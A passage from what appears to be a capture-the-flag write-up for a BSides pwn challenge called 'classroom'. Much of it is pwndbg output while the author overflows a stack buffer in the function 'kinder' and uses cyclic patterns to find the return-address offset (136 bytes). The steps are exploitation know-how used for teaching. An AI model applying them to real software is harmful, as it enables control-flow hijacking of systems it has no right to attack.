<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7fffffffe098</span> <span class="err">◂—</span> <span class="mh">0x6261616b6261616a</span> <span class="p">(</span><span class="err">'</span><span class="n">jaabkaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe0a0</span> <span class="err">◂—</span> <span class="mh">0x6261616d6261616c</span> <span class="p">(</span><span class="err">'</span><span class="n">laabmaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span>     <span class="mh">0x7fffffffe0a8</span> <span class="err">◂—</span> <span class="mh">0x6261616f6261616e</span> <span class="p">(</span><span class="err">'</span><span class="n">naaboaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe0b0</span> <span class="err">◂—</span> <span class="mh">0x6261617162616170</span> <span class="p">(</span><span class="err">'</span><span class="n">paabqaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">04</span><span class="o">:</span><span class="mo">0020</span><span class="err">│</span>     <span class="mh">0x7fffffffe0b8</span> <span class="err">◂—</span> <span class="mh">0x6261617362616172</span> <span class="p">(</span><span class="err">'</span><span class="n">raabsaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">05</span><span class="o">:</span><span class="mo">002</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe0c0</span> <span class="err">◂—</span> <span class="mh">0x6261617562616174</span> <span class="p">(</span><span class="err">'</span><span class="n">taabuaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">06</span><span class="o">:</span><span class="mo">0030</span><span class="err">│</span>     <span class="mh">0x7fffffffe0c8</span> <span class="err">◂—</span> <span class="mh">0x6261617762616176</span> <span class="p">(</span><span class="err">'</span><span class="n">vaabwaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">07</span><span class="o">:</span><span class="mo">003</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe0d0</span> <span class="err">◂—</span> <span class="mh">0x6261617962616178</span> <span class="p">(</span><span class="err">'</span><span class="n">xaabyaab</span><span class="err">'</span><span class="p">)</span>
<span class="err">───────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x400aea</span> <span class="n">kinder</span><span class="o">+</span><span class="mi">410</span>
   <span class="mi">1</span> <span class="mh">0x6261616b6261616a</span>
   <span class="mi">2</span> <span class="mh">0x6261616d6261616c</span>
   <span class="mi">3</span> <span class="mh">0x6261616f6261616e</span>
   <span class="mi">4</span> <span class="mh">0x6261617162616170</span>
   <span class="mi">5</span> <span class="mh">0x6261617362616172</span>
   <span class="mi">6</span> <span class="mh">0x6261617562616174</span>
   <span class="mi">7</span> <span class="mh">0x6261617762616176</span>
<span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>At the <code class="language-plaintext highlighter-rouge">SIGSEGV</code> we get 3 registers pointing to memory we can write at:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn <span class="nv">$ </span>cyclic <span class="nt">-l</span> 0x6161616261616161 <span class="c"># $rsi</span>
0
~/D/W/b/pwn <span class="nv">$ </span>cyclic <span class="nt">-l</span> 0x6261616962616168 <span class="c"># $rbp</span>
128
~/D/W/b/pwn <span class="nv">$ </span>cyclic <span class="nt">-l</span> 0x6261616b6261616a <span class="c"># $rsp -- ret overwrite</span>
136
</code></pre></div></div>

<p>If we run again by setting a breakpoint exactly after read() returns we get:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Alright</span><span class="o">!</span> <span class="n">Do</span> <span class="n">you</span> <span class="n">have</span> <span class="n">any</span> <span class="n">more</span> <span class="n">questions</span><span class="o">?</span> <span class="p">(</span><span class="n">y</span><span class="o">/</span><span class="n">n</span><span class="p">)</span>
<span class="o">&gt;</span> <span class="n">y</span>
<span class="n">Enough</span> <span class="n">questions</span> <span class="k">for</span> <span class="n">today</span> <span class="n">class</span><span class="p">...</span>
<span class="n">Well</span><span class="p">,</span> <span class="n">maybe</span> <span class="n">a</span> <span class="n">last</span> <span class="n">one</span> <span class="n">and</span> <span class="n">then</span> <span class="n">we</span> <span class="n">finish</span><span class="o">!</span>
<span class="o">&gt;</span> <span class="n">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaa</span>

<span class="n">Breakpoint</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x0000000000400a48</span> <span class="n">in</span> <span class="nf">kinder</span> <span class="p">()</span>                                     <span class="err">#</span> <span class="n">exactly</span> <span class="n">after</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_88</span><span class="p">,</span><span class="mh">0x14c</span><span class="p">);</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">─────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────────────</span>
<span class="o">*</span><span class="n">RAX</span>  <span class="mh">0x14c</span>
<span class="o">*</span><span class="n">RBX</span>  <span class="mh">0x7fffffffe1c8</span> <span class="err">—▸</span> <span class="mh">0x7fffffffe480</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
<span class="o">*</span><span class="n">RCX</span>  <span class="mh">0x7ffff7ea3a1d</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
<span class="o">*</span><span class="n">RDX</span>  <span class="mh">0x14c</span>
 <span class="n">RDI</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RSI</span>  <span class="mh">0x7fffffffe010</span> <span class="err">◂—</span> <span class="mh">0x6161616261616161</span> <span class="p">(</span><span class="err">'</span><span class="n">aaaabaaa</span><span class="err">'</span><span class="p">)</span>
<span class="o">*</span><span class="n">R8</span>   <span class="mh">0xff00</span>
<span class="o">*</span><span class="n">R9</span>   <span class="mi">7</span>
<span class="o">*</span><span class="n">R10</span>  <span class="mi">7</span>
<span class="o">*</span><span class="n">R11</span>  <span class="mh">0x246</span>
 <span class="n">R12</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">R13</span>  <span class="mh">0x7fffffffe1d8</span> <span class="err">—▸</span> <span class="mh">0x7fffffffe4af</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">USER</span><span class="o">=</span><span class="n">kidd</span><span class="err">'</span>
<span class="o">*</span><span class="n">R14</span>  <span class="mh">0x7ffff7ffd000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7ffff7ffe2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RBP</span>  <span class="mh">0x7fffffffe090</span> <span class="err">◂—</span> <span class="mh">0x6261616962616168</span> <span class="p">(</span><span class="err">'</span><span class="n">haabiaab</span><span class="err">'</span><span class="p">)</span>
<span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7fffffffe010</span> <span class="err">◂—</span> <span class="mh">0x6161616261616161</span> <span class="p">(</span><span class="err">'</span><span class="n">aaaabaaa</span><span class="err">'</span><span class="p">)</span>
<span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x400a48</span> <span class="p">(</span><span class="n">kinder</span><span class="o">+</span><span class="mi">248</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">jmp</span> <span class="mh">0x400ade</span>
<span class="err">──────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">──────────────────────────────────────────</span> 
 <span class="err">►</span> <span class="mh">0x400a48</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">248</span><span class="o">&gt;</span>    <span class="n">jmp</span>    <span class="n">kinder</span><span class="o">+</span><span class="mi">398</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>
    <span class="err">↓</span>
   <span class="mh">0x400ade</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>    <span class="n">cmp</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">4</span><span class="p">],</span> <span class="mi">0</span>     <span class="mh">0x62616167</span> <span class="o">-</span> <span class="mh">0x0</span>     <span class="n">EFLAGS</span> <span class="o">=&gt;</span> <span class="mh">0x202</span> <span class="p">[</span> <span class="n">cf</span> <span class="n">pf</span> <span class="n">af</span> <span class="n">zf</span> <span class="n">sf</span> <span class="n">IF</span> <span class="n">df</span> <span class="n">of</span> <span class="p">]</span>
   <span class="mh">0x400ae2</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">402</span><span class="o">&gt;</span>    <span class="n">je</span>     <span class="n">kinder</span><span class="o">+</span><span class="mi">107</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">107</span><span class="o">&gt;</span>
 
   <span class="mh">0x400ae8</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">408</span><span class="o">&gt;</span>    <span class="n">nop</span>    
   <span class="mh">0x400ae9</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">409</span><span class="o">&gt;</span>    <span class="n">leave</span>  
   <span class="mh">0x400aea</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="o">&gt;</span>    <span class="n">ret</span>    
 
   <span class="mh">0x400aeb</span> <span class="o">&lt;</span><span class="n">setup</span><span class="o">&gt;</span>         <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x400aec</span> <span class="o">&lt;</span><span class="n">setup</span><span class="o">+</span><span class="mi">1</span><span class="o">&gt;</span>       <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span> <span class="n">rsp</span>
   <span class="mh">0x400aef</span> <span class="o">&lt;</span><span class="n">setup</span><span class="o">+</span><span class="mi">4</span><span class="o">&gt;</span>       <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x20153a</span><span class="p">]</span>     <span class="n">RAX</span><span class="p">,</span> <span class="p">[</span><span class="n">stdin</span><span class="err">@@</span><span class="n">GLIBC_2</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">5</span><span class="p">]</span>
   <span class="mh">0x400af6</span> <span class="o">&lt;</span><span class="n">setup</span><span class="o">+</span><span class="mi">11</span><span class="o">&gt;</span>      <span class="n">mov</span>    <span class="n">ecx</span><span class="p">,</span> <span class="mi">0</span>                              <span class="n">ECX</span> <span class="o">=&gt;</span> <span class="mi">0</span>
   <span class="mh">0x400afb</span> <span class="o">&lt;</span><span class="n">setup</span><span class="o">+</span><span class="mi">16</span><span class="o">&gt;</span>      <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span> <span class="mi">2</span>                              <span class="n">EDX</span> <span class="o">=&gt;</span> <span class="mi">2</span>
<span class="err">───────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsi</span> <span class="n">rsp</span> <span class="mh">0x7fffffffe010</span> <span class="err">◂—</span> <span class="mh">0x6161616261616161</span> <span class="p">(</span><span class="err">'</span><span class="n">aaaabaaa</span><span class="err">'</span><span class="p">)</span>
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">07</span><span class="mi">8</span>     <span class="mh">0x7fffffffe018</span> <span class="err">◂—</span> <span class="mh">0x6161616461616163</span> <span class="p">(</span><span class="err">'</span><span class="n">caaadaaa</span><span class="err">'</span><span class="p">)</span>
<span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span><span class="o">-</span><span class="mo">070</span>     <span class="mh">0x7fffffffe020</span> <span class="err">◂—</span> <span class="mh">0x6161616661616165</span> <span class="p">(</span><span class="err">'</span><span class="n">eaaafaaa</span><span class="err">'</span><span class="p">)</span>
<span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">06</span><span class="mi">8</span>     <span class="mh">0x7fffffffe028</span> <span class="err">◂—</span> <span class="mh">0x6161616861616167</span> <span class="p">(</span><span class="err">'</span><span class="n">gaaahaaa</span><span class="err">'</span><span class="p">)</span>
<span class="mo">04</span><span class="o">:</span><span class="mo">0020</span><span class="err">│</span><span class="o">-</span><span class="mo">060</span>     <span class="mh">0x7fffffffe030</span> <span class="err">◂—</span> <span class="mh">0x6161616a61616169</span> <span class="p">(</span><span class="err">'</span><span class="n">iaaajaaa</span><span class="err">'</span><span class="p">)</span>
<span class="mo">05</span><span class="o">:</span><span class="mo">002</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">05</span><span class="mi">8</span>     <span class="mh">0x7fffffffe038</span> <span class="err">◂—</span> <span class="mh">0x6161616c6161616b</span> <span class="p">(</span><span class="err">'</span><span class="n">kaaalaaa</span><span class="err">'</span><span class="p">)</span>
<span class="mo">06</span><span class="o">:</span><span class="mo">0030</span><span class="err">│</span><span class="o">-</span><span class="mo">050</span>     <span class="mh">0x7fffffffe040</span> <span class="err">◂—</span> <span class="mh">0x6161616e6161616d</span> <span class="p">(</span><span class="err">'</span><span class="n">maaanaaa</span><span class="err">'</span><span class="p">)</span>
<span class="mo">07</span><span class="o">:</span><span class="mo">003</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">04</span><span class="mi">8</span>     <span class="mh">0x7fffffffe048</span> <span class="err">◂—</span> <span class="mh">0x616161706161616f</span> <span class="p">(</span><span class="err">'</span><span class="n">oaaapaaa</span><span class="err">'</span><span class="p">)</span>
<span class="err">─────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x400a48</span> <span class="n">kinder</span><span class="o">+</span><span class="mi">248</span>
   <span class="mi">1</span> <span class="mh">0x6261616b6261616a</span>
   <span class="mi">2</span> <span class="mh">0x6261616d6261616c</span>
   <span class="mi">3</span> <span class="mh">0x6261616f6261616e</span>
   <span class="mi">4</span> <span class="mh">0x6261617162616170</span>
   <span class="mi">5</span> <span class="mh">0x6261617362616172</span>
   <span class="mi">6</span> <span class="mh">0x6261617562616174</span>
   <span class="mi">7</span> <span class="mh">0x6261617762616176</span>
<span class="err">────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>Examining memory at <code class="language-plaintext highlighter-rouge">$rbp-128</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">90</span><span class="n">x</span> <span class="err">$</span><span class="n">rbp</span><span class="o">-</span><span class="mi">128</span><span class="o">-</span><span class="mi">16</span>
<span class="mh">0x7fffffffe000</span><span class="o">:</span> <span class="mh">0x006032a0</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00400a48</span>      <span class="mh">0x00000000</span>
<span class="mh">0x7fffffffe010</span><span class="o">:</span> <span class="mh">0x61616161</span>      <span class="mh">0x61616162</span>      <span class="mh">0x61616163</span>      <span class="mh">0x61616164</span>
<span class="mh">0x7fffffffe020</span><span class="o">:</span> <span class="mh">0x61616165</span>      <span class="mh">0x61616166</span>      <span class="mh">0x61616167</span>      <span class="mh">0x61616168</span>
<span class="mh">0x7fffffffe030</span><span class="o">:</span> <span class="mh">0x61616169</span>      <span class="mh">0x6161616a</span>      <span class="mh">0x6161616b</span>      <span class="mh">0x6161616c</span>
<span class="mh">0x7fffffffe040</span><span class="o">:</span> <span class="mh">0x6161616d</span>      <span class="mh">0x6161616e</span>      <span class="mh">0x6161616f</span>      <span class="mh">0x61616170</span>
<span class="mh">0x7fffffffe050</span><span class="o">:</span> <span class="mh">0x61616171</span>      <span class="mh">0x61616172</span>      <span class="mh">0x61616173</span>      <span class="mh">0x61616174</span>
<span class="mh">0x7fffffffe060</span><span class="o">:</span> <span class="mh">0x61616175</span>      <span class="mh">0x61616176</span>      <span class="mh">0x61616177</span>      <span class="mh">0x61616178</span>
<span class="mh">0x7fffffffe070</span><span class="o">:</span> <span class="mh">0x61616179</span>      <span class="mh">0x6261617a</span>      <span class="mh">0x62616162</span>      <span class="mh">0x62616163</span>
<span class="mh">0x7fffffffe080</span><span class="o">:</span> <span class="mh">0x62616164</span>      <span class="mh">0x62616165</span>      <span class="mh">0x62616166</span>      <span class="mh">0x62616167</span>
<span class="mh">0x7fffffffe090</span><span class="o">:</span> <span class="mh">0x62616168</span>      <span class="mh">0x62616169</span>      <span class="mh">0x6261616a</span>      <span class="mh">0x6261616b</span>
<span class="mh">0x7fffffffe0a0</span><span class="o">:</span> <span class="mh">0x6261616c</span>      <span class="mh">0x6261616d</span>      <span class="mh">0x6261616e</span>      <span class="mh">0x6261616f</span>
<span class="mh">0x7fffffffe0b0</span><span class="o">:</span> <span class="mh">0x62616170</span>      <span class="mh">0x62616171</span>      <span class="mh">0x62616172</span>      <span class="mh">0x62616173</span>
<span class="mh">0x7fffffffe0c0</span><span class="o">:</span> <span class="mh">0x62616174</span>      <span class="mh">0x62616175</span>      <span class="mh">0x62616176</span>      <span class="mh">0x62616177</span>
<span class="mh">0x7fffffffe0d0</span><span class="o">:</span> <span class="mh">0x62616178</span>      <span class="mh">0x62616179</span>      <span class="mh">0x6361617a</span>      <span class="mh">0x63616162</span>
<span class="mh">0x7fffffffe0e0</span><span class="o">:</span> <span class="mh">0x63616163</span>      <span class="mh">0x63616164</span>      <span class="mh">0x63616165</span>      <span class="mh">0x63616166</span>
<span class="mh">0x7fffffffe0f0</span><span class="o">:</span> <span class="mh">0x63616167</span>      <span class="mh">0x63616168</span>      <span class="mh">0x63616169</span>      <span class="mh">0x6361616a</span>
<span class="mh">0x7fffffffe100</span><span class="o">:</span> <span class="mh">0x6361616b</span>      <span class="mh">0x6361616c</span>      <span class="mh">0x6361616d</span>      <span class="mh">0x6361616e</span>
<span class="mh">0x7fffffffe110</span><span class="o">:</span> <span class="mh">0x6361616f</span>      <span class="mh">0x63616170</span>      <span class="mh">0x63616171</span>      <span class="mh">0x63616172</span>
<span class="mh">0x7fffffffe120</span><span class="o">:</span> <span class="mh">0x63616173</span>      <span class="mh">0x63616174</span>      <span class="mh">0x63616175</span>      <span class="mh">0x63616176</span>
<span class="mh">0x7fffffffe130</span><span class="o">:</span> <span class="mh">0x63616177</span>      <span class="mh">0x63616178</span>      <span class="mh">0x63616179</span>      <span class="mh">0x6461617a</span>
<span class="mh">0x7fffffffe140</span><span class="o">:</span> <span class="mh">0x64616162</span>      <span class="mh">0x64616163</span>      <span class="mh">0x64616164</span>      <span class="mh">0x64616165</span>
<span class="mh">0x7fffffffe150</span><span class="o">:</span> <span class="mh">0x64616166</span>      <span class="mh">0x64616167</span>      <span class="mh">0x64616168</span>      <span class="mh">0x00007fff</span>
<span class="mh">0x7fffffffe160</span><span class="o">:</span> <span class="mh">0x00400b38</span>      <span class="mh">0x00000000</span>
</code></pre></div></div>

<p>And we get our full payload, unmangled. Excellent!</p>

<p>Stepping forward until the <code class="language-plaintext highlighter-rouge">ret</code> instruction and we identify the bytes stored at <code class="language-plaintext highlighter-rouge">$rbp+8</code> <code class="language-plaintext highlighter-rouge">0x7fffffffe098</code> being the return address at <code class="language-plaintext highlighter-rouge">ret</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> 
<span class="n">Program</span> <span class="n">received</span> <span class="n">signal</span> <span class="n">SIGSEGV</span><span class="p">,</span> <span class="n">Segmentation</span> <span class="n">fault</span><span class="p">.</span>
<span class="mh">0x0000000000400aea</span> <span class="n">in</span> <span class="n">kinder</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">─────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────────────</span> 
 <span class="n">RAX</span>  <span class="mh">0x14c</span>
 <span class="n">RBX</span>  <span class="mh">0x7fffffffe1c8</span> <span class="err">—▸</span> <span class="mh">0x7fffffffe480</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
 <span class="n">RCX</span>  <span class="mh">0x7ffff7ea3a1d</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
 <span class="n">RDX</span>  <span class="mh">0x14c</span>
 <span class="n">RDI</span>  <span class="mi">0</span>
 <span class="n">RSI</span>  <span class="mh">0x7fffffffe010</span> <span class="err">◂—</span> <span class="mh">0x6161616261616161</span> <span class="p">(</span><span class="err">'</span><span class="n">aaaabaaa</span><span class="err">'</span><span class="p">)</span>
 <span class="n">R8</span>   <span class="mh">0xff00</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
 <span class="n">R11</span>  <span class="mh">0x246</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7fffffffe1d8</span> <span class="err">—▸</span> <span class="mh">0x7fffffffe4af</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">USER</span><span class="o">=</span><span class="n">kidd</span><span class="err">'</span>
 <span class="n">R14</span>  <span class="mh">0x7ffff7ffd000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7ffff7ffe2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
 <span class="n">RBP</span>  <span class="mh">0x6261616962616168</span> <span class="p">(</span><span class="err">'</span><span class="n">haabiaab</span><span class="err">'</span><span class="p">)</span>
 <span class="n">RSP</span>  <span class="mh">0x7fffffffe098</span> <span class="err">◂—</span> <span class="mh">0x6261616b6261616a</span> <span class="p">(</span><span class="err">'</span><span class="n">jaabkaab</span><span class="err">'</span><span class="p">)</span>
 <span class="n">RIP</span>  <span class="mh">0x400aea</span> <span class="p">(</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">ret</span> 
<span class="err">──────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">──────────────────────────────────────────</span>
   <span class="mh">0x400a48</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">248</span><span class="o">&gt;</span>    <span class="n">jmp</span>    <span class="n">kinder</span><span class="o">+</span><span class="mi">398</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>
    <span class="err">↓</span>
   <span class="mh">0x400ade</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>    <span class="n">cmp</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">4</span><span class="p">],</span> <span class="mi">0</span>
   <span class="mh">0x400ae2</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">402</span><span class="o">&gt;</span>    <span class="n">je</span>     <span class="n">kinder</span><span class="o">+</span><span class="mi">107</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">107</span><span class="o">&gt;</span>
 
   <span class="mh">0x400ae8</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">408</span><span class="o">&gt;</span>    <span class="n">nop</span>    
   <span class="mh">0x400ae9</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">409</span><span class="o">&gt;</span>    <span class="n">leave</span>  
 <span class="err">►</span> <span class="mh">0x400aea</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="o">&gt;</span>    <span class="n">ret</span>                                <span class="o">&lt;</span><span class="mh">0x6261616b6261616a</span><span class="o">&gt;</span>



<span class="err">───────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7fffffffe098</span> <span class="err">◂—</span> <span class="mh">0x6261616b6261616a</span> <span class="p">(</span><span class="err">'</span><span class="n">jaabkaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe0a0</span> <span class="err">◂—</span> <span class="mh">0x6261616d6261616c</span> <span class="p">(</span><span class="err">'</span><span class="n">laabmaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span>     <span class="mh">0x7fffffffe0a8</span> <span class="err">◂—</span> <span class="mh">0x6261616f6261616e</span> <span class="p">(</span><span class="err">'</span><span class="n">naaboaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe0b0</span> <span class="err">◂—</span> <span class="mh">0x6261617162616170</span> <span class="p">(</span><span class="err">'</span><span class="n">paabqaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">04</span><span class="o">:</span><span class="mo">0020</span><span class="err">│</span>     <span class="mh">0x7fffffffe0b8</span> <span class="err">◂—</span> <span class="mh">0x6261617362616172</span> <span class="p">(</span><span class="err">'</span><span class="n">raabsaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">05</span><span class="o">:</span><span class="mo">002</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe0c0</span> <span class="err">◂—</span> <span class="mh">0x6261617562616174</span> <span class="p">(</span><span class="err">'</span><span class="n">taabuaab</span><span class="err">'</span><span class="p">)</span>
